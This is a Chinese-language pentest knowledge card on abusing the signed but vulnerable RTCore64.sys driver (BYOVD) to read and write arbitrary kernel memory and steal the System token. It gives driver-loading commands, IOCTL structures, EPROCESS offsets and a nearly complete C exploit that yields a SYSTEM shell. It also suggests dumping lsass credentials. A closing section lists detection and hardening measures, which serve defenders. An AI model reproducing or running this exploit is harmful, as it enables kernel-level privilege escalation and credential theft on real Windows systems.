♧ Godown 安全知识树

RTCore64.sys BYOVD 任意内核读写:遍历 EPROCESS 窃取 System Token 提权

pentest/privilege-escalation · verified

一句话结论

加载带签名但存在漏洞的 RTCore64.sys 后,其 0x80002048/0x8000204C 两个 IOCTL 允许用户态对任意内核地址做 1/2/4 字节读写;攻击者用任意读从 PsInitialSystemProcess 找到 System 的 EPROCESS,再沿 ActiveProcessLinks 找到当前进程,把自己的 _EX_FAST_REF Token 替换为 System Token(保留低 4 位引用计数),即可从普通管理员提升到 NT AUTHORITY\SYSTEM。

原理

BYOVD 与驱动入口

  • Windows 要求内核驱动具备有效签名(DSE)。BYOVD(Bring Your Own Vulnerable Driver)不自己写驱动,而是投放一个已签名但存在漏洞的合法驱动,用 sc create ... type= kernel + sc start 加载,让攻击代码借驱动进入 Ring0。
  • RTCore64.sys 在 DriverEntry 中用 IoCreateDevice 创建设备 \Device\RTCore64,用 IoCreateSymbolicLink 创建 \DosDevices\RTCore64(用户态路径 \\.\RTCore64),并把 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL](索引 14)设为派遣函数。
  • 派遣函数只检查输入缓冲区长度是否为 0x30,不校验调用者权限、不校验地址范围,直接按请求读写内核内存。

任意内核地址读写

输入结构体共 0x30 字节:

typedef struct _RTCore64_Struct {
    BYTE    Unknown[8];     // 0x00
    ULONG64 StartAddress;   // 0x08
    BYTE    Unknown2[4];    // 0x10
    ULONG   Offset;         // 0x14
    ULONG   SizeType;       // 0x18
    ULONG   Output;         // 0x1C
    BYTE    Unknown3[16];   // 0x20
} RTCore64_Struct;          // sizeof = 0x30
  • 读(IOCTL 0x80002048):取 StartAddress = *(ULONG64*)(buf+0x8)、Offset = *(ULONG*)(buf+0x14)、SizeType = *(ULONG*)(buf+0x18);按 SizeType 为 1/2/4,从 StartAddress + Offset 读取 BYTE/WORD/DWORD 写入 Output(buf+0x1C)。
  • 写(IOCTL 0x8000204C):同样的结构体;按 SizeType 把 Output 的 1/2/4 字节写到 StartAddress + Offset。
  • 由于驱动没有做地址白名单/用户态指针校验,用户态可以读写任意内核虚拟地址;WriteKernelQWORD 需要拆成两次 DWORD 写(低 32 位写 addr,高 32 位写 addr+4),因为 SizeType 最大为 4。
  • 读原语本身还可用于遍历内核内存、读取 lsass 相关结构并 dump NTLM 哈希;本卡聚焦更直接的提权路线。

Token 窃取

  • 每个进程的 EPROCESS 有一个 _EX_FAST_REF Token 字段(Windows 10 22H2 为 EPROCESS+0x4b8)。_EX_FAST_REF 是一个指针与引用计数的联合体:低 4 位是引用计数,Token & ~0xF 才是 TOKEN 对象地址;访问令牌、特权、完整性级别都由该对象决定。
  • 如果直接把当前进程的 Token 指针改成 System 的 Token 对象地址而不保留低 4 位,引用计数会错乱,可能导致对象提前释放或计数异常;正确做法是: text newToken = (systemToken & ~0xF) | (targetToken & 0xF)
  • 找 System 的 EPROCESS:PsInitialSystemProcess 是内核全局指针,指向 System 进程对象。用户态不能直接解引用,但可以: 1. 用 EnumDeviceDrivers 取第一个驱动基址,通常是 ntoskrnl.exe 的内核基址; 2. 用 LoadLibraryA("ntoskrnl.exe") 把内核镜像映射到用户态,GetProcAddress("PsInitialSystemProcess") 得到用户态地址,减去用户态基址得到 RVA(同一镜像在内核态的偏移一致); 3. 内核地址 = 内核基址 + RVA;用任意读取出该地址处的 QWORD,即 System 的 EPROCESS 指针。
  • 找当前进程:从 System EPROCESS+0x448 读 ActiveProcessLinks.Flink,Flink - 0x448 就是下一个 EPROCESS;读 EPROCESS+0x440 的 UniqueProcessId 与目标 PID 比较,沿链表循环直到匹配。
  • 读 System Token:SystemEprocess+0x4b8;读目标 Token:TargetEprocess+0x4b8;组合后写回目标 EPROCESS+0x4b8。
  • 最后 CreateProcessA("cmd.exe") 或 WinExec 启动新进程;新进程继承被替换后的 System Token,whoami 显示 nt authority\system。案例在 Windows 10 22H2(19045.6456)上验证,EPROCESS 偏移随 Windows 版本变化。

触发条件

  • 攻击者已获得目标 Windows 的管理员权限,能创建/启动内核服务(sc create/sc start)或已有可加载驱动。
  • 目标存在 RTCore64.sys 或同类带签名漏洞驱动,且未被 HVCI/内存完整性、Microsoft 易受攻击驱动阻止列表、WDAC/AppLocker 驱动规则拦截。
  • 驱动未被卸载/删除,设备符号链接可打开;调用者能 CreateFile("\\\\.\\RTCore64") 并发送 DeviceIoControl。
  • 已知目标 Windows 版本的 EPROCESS 偏移(Token、UniqueProcessId、ActiveProcessLinks);版本不匹配会导致读错字段、蓝屏或提权失败。
  • 目标未启用会阻止 Token 替换的内核级保护(如某些 EDR 的令牌回调/完整性策略);普通管理员权限是前提,BYOVD 把管理员提升为 SYSTEM。

利用步骤

  1. 获取管理员 shell,确认系统版本/build 与驱动加载策略;用 sc query/driverquery 检查是否已加载目标驱动。
  2. 投放 RTCore64.sys,执行: text sc create RTCore64 binPath= C:\Windows\Temp\RTCore64.sys type= kernel sc start RTCore64 确认 \\.\RTCore64 可打开。
  3. 用 EnumDeviceDrivers 取内核基址,用 LoadLibraryA("ntoskrnl.exe") + GetProcAddress("PsInitialSystemProcess") 算 RVA,得到 PsInitialSystemProcess 的内核地址。
  4. 用任意读 IOCTL 读取 PsInitialSystemProcess 指针,得到 System EPROCESS;读 +0x4b8 得到 System Token。
  5. 从 System EPROCESS+0x448 沿 ActiveProcessLinks 遍历,读每个 EPROCESS+0x440 的 PID,找到目标进程(当前进程或指定 PID)的 EPROCESS。
  6. 读目标 EPROCESS+0x4b8 的 Token,按 (systemToken & ~0xF) | (targetToken & 0xF) 组合,写回目标 EPROCESS+0x4b8。
  7. CreateProcessA 启动 cmd.exe,在新进程执行 whoami,应显示 nt authority\system。
  8. 完成后 sc stop/sc delete 停止并删除服务,卸载驱动;清理投放的驱动文件。

PoC

结构体与读写封装(关键部分;完整实现还需错误处理):

#include <windows.h>
#include <stdio.h>

typedef struct _RTCore64_Struct {
    BYTE    Unknown[8];
    ULONG64 StartAddress;
    BYTE    Unknown2[4];
    ULONG   Offset;
    ULONG   SizeType;
    ULONG   Output;
    BYTE    Unknown3[16];
} RTCore64_Struct;

static HANDLE OpenRTCore(void) {
    return CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE,
                       0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}

BOOL RTCoreRead(ULONG64 addr, ULONG sizeType, PULONG out) {
    RTCore64_Struct req = {0};
    DWORD ret = 0;
    HANDLE h = OpenRTCore();
    if (h == INVALID_HANDLE_VALUE) return FALSE;
    req.StartAddress = addr;
    req.SizeType = sizeType;          // 1/2/4
    BOOL ok = DeviceIoControl(h, 0x80002048, &req, sizeof(req),
                              &req, sizeof(req), &ret, NULL);
    if (ok) *out = req.Output;
    CloseHandle(h);
    return ok;
}

BOOL RTCoreWrite(ULONG64 addr, ULONG sizeType, ULONG value) {
    RTCore64_Struct req = {0};
    DWORD ret = 0;
    HANDLE h = OpenRTCore();
    if (h == INVALID_HANDLE_VALUE) return FALSE;
    req.StartAddress = addr;
    req.SizeType = sizeType;
    req.Output = value;
    BOOL ok = DeviceIoControl(h, 0x8000204C, &req, sizeof(req),
                              &req, sizeof(req), &ret, NULL);
    CloseHandle(h);
    return ok;
}

BOOL ReadQWORD(ULONG64 addr, PULONG64 out) {
    ULONG lo = 0, hi = 0;
    if (!RTCoreRead(addr, 4, &lo)) return FALSE;
    if (!RTCoreRead(addr + 4, 4, &hi)) return FALSE;
    *out = ((ULONG64)hi << 32) | lo;
    return TRUE;
}

BOOL WriteQWORD(ULONG64 addr, ULONG64 value) {
    if (!RTCoreWrite(addr, 4, (ULONG)(value & 0xFFFFFFFF))) return FALSE;
    return RTCoreWrite(addr + 4, 4, (ULONG)(value >> 32));
}

// Windows 10 22H2 (19045) EPROCESS 偏移
#define OFF_UNIQUE_PID      0x440
#define OFF_ACTIVE_LINKS    0x448
#define OFF_TOKEN           0x4b8

BOOL StealSystemToken(DWORD targetPid) {
    ULONG64 kernelBase = 0, psInit = 0, systemEprocess = 0;
    ULONG64 systemToken = 0, targetEprocess = 0, targetToken = 0;
    ULONG64 flink = 0;
    ULONG pid = 0;

    // 1) EnumDeviceDrivers(lpImageBase, ...) -> kernelBase = lpImageBase[0]
    // 2) LoadLibraryA("ntoskrnl.exe") + GetProcAddress("PsInitialSystemProcess")
    //    得到 RVA,psInit = kernelBase + RVA
    // 3) 读 System EPROCESS 与 Token
    if (!ReadQWORD(psInit, &systemEprocess)) return FALSE;
    if (!ReadQWORD(systemEprocess + OFF_TOKEN, &systemToken)) return FALSE;

    // 4) 从 System 沿 ActiveProcessLinks 找目标 PID
    targetEprocess = systemEprocess;
    for (int i = 0; i < 4096; i++) {
        if (!RTCoreRead(targetEprocess + OFF_UNIQUE_PID, 4, &pid)) return FALSE;
        if ((DWORD)pid == targetPid) break;
        if (!ReadQWORD(targetEprocess + OFF_ACTIVE_LINKS, &flink)) return FALSE;
        targetEprocess = flink - OFF_ACTIVE_LINKS;
    }
    if ((DWORD)pid != targetPid) return FALSE;

    // 5) 保留目标 Token 的低 4 位引用计数,替换为 System Token 对象
    if (!ReadQWORD(targetEprocess + OFF_TOKEN, &targetToken)) return FALSE;
    ULONG64 newToken = (systemToken & ~0xFULL) | (targetToken & 0xFULL);
    return WriteQWORD(targetEprocess + OFF_TOKEN, newToken);
}

辅助地址获取(伪代码):

kernelBase = EnumDeviceDrivers()[0]
h = LoadLibraryA("ntoskrnl.exe")
rva = (ULONG64)GetProcAddress(h, "PsInitialSystemProcess") - (ULONG64)h
psInit = kernelBase + rva

调用 StealSystemToken(GetCurrentProcessId()) 后,CreateProcessA("cmd.exe", ...);新进程的 whoami 应为 nt authority\system。注意 EPROCESS 偏移必须按目标 build 校正(0x4b8/0x440/0x448 为 Windows 10 22H2 19045 的取值)。

变体与关联

  • 任意读的其它用途:可直接遍历内核内存定位 lsass.exe 的 EPROCESS/凭据结构,dump NTLM 哈希;也可读取内核回调、驱动对象、SSDT 等做进一步绕过,但读取路径需要更多版本相关结构知识。
  • 任意写的其它目标:除 Token 外,还可改 EPROCESS->Protection(PPL 相关字段)、_SEP_TOKEN_PRIVILEGES、内核回调数组、PreviousMode 等;Token 替换的优点是路径短、直接获得 System 权限。
  • 同类驱动:BYOVD 不限于 RTCore64.sys;LOLDrivers 收录了许多带签名的漏洞驱动,IOCTL 号、结构和原语各不相同,分析方法是“定位 DriverEntry → MajorFunction[14] → 分发函数 → IOCTL 分支 → 输入结构体”。
  • Windows 版本差异:EPROCESS 的 Token/ActiveProcessLinks/UniqueProcessId 偏移随版本变化;可用 Vergilius Project、PDB 符号或 dt nt!_EPROCESS 在目标 build 上确认。案例在 Windows 10 22H2(19045.6456)验证。
  • 关联:BYOVD 强杀 PPL。pentest/privilege-escalation 已有 pentest-privilege-escalation-byovd-zwterminateprocess-ppl-edr-kill,讲的是用漏洞驱动按 PID 终止 PPL 进程;本卡是同一路径下的“任意读写 → Token 窃取”变体,原语和最终效果不同。
  • 关联:内核 Token 窃取。Windows 内核漏洞利用中常见的 Token stealing 思路与本卡一致;区别是本卡不依赖内核内存破坏漏洞,而是借用合法但存在漏洞的驱动。

检测与防御

  • 驱动治理:启用 HVCI/内存完整性、Microsoft 易受攻击驱动阻止列表、WDAC/AppLocker 驱动规则;用 driverquery/Sysmon/EDR 盘点已加载驱动,禁止 RTCore64.sys 等已知 LOLDrivers。
  • 加载监控:Sysmon Event ID 6(驱动加载)、System 日志 7045(服务安装)、sc create 的 binPath 指向 %TEMP%/用户目录、服务名伪装等行为;对非 IT 运维创建的 kernel 服务告警。
  • IOCTL 监控:EDR/内核回调监控对 \\.\RTCore64 的 CreateFile 与 DeviceIoControl,尤其是 0x80002048/0x8000204C;正常业务程序不应直接访问该设备。
  • 令牌异常检测:监控进程 Token 被替换、非 System 父进程派生 NT AUTHORITY\SYSTEM 子进程、whoami 结果与父进程令牌不一致等;启用内核令牌回调/受保护进程策略的产品可拦截部分路径。
  • 最小权限:普通用户不应具备加载驱动/创建内核服务的权限;管理员操作使用专用跳板并记录;及时删除/更新第三方带漏洞驱动(如超频、硬件监控、游戏反作弊组件附带的驱动)。
  • 凭据保护:Credential Guard、LSA 保护、PPL 可降低 lsass 读取风险,但不能阻止 Token 替换;仍需结合驱动阻断与行为检测。
  • 应急:发现异常驱动服务时停止/删除服务、隔离主机、检查 %TEMP% 下投放的 .sys、审计驱动加载与 DeviceIoControl 日志、轮换可能被 dump 的凭据。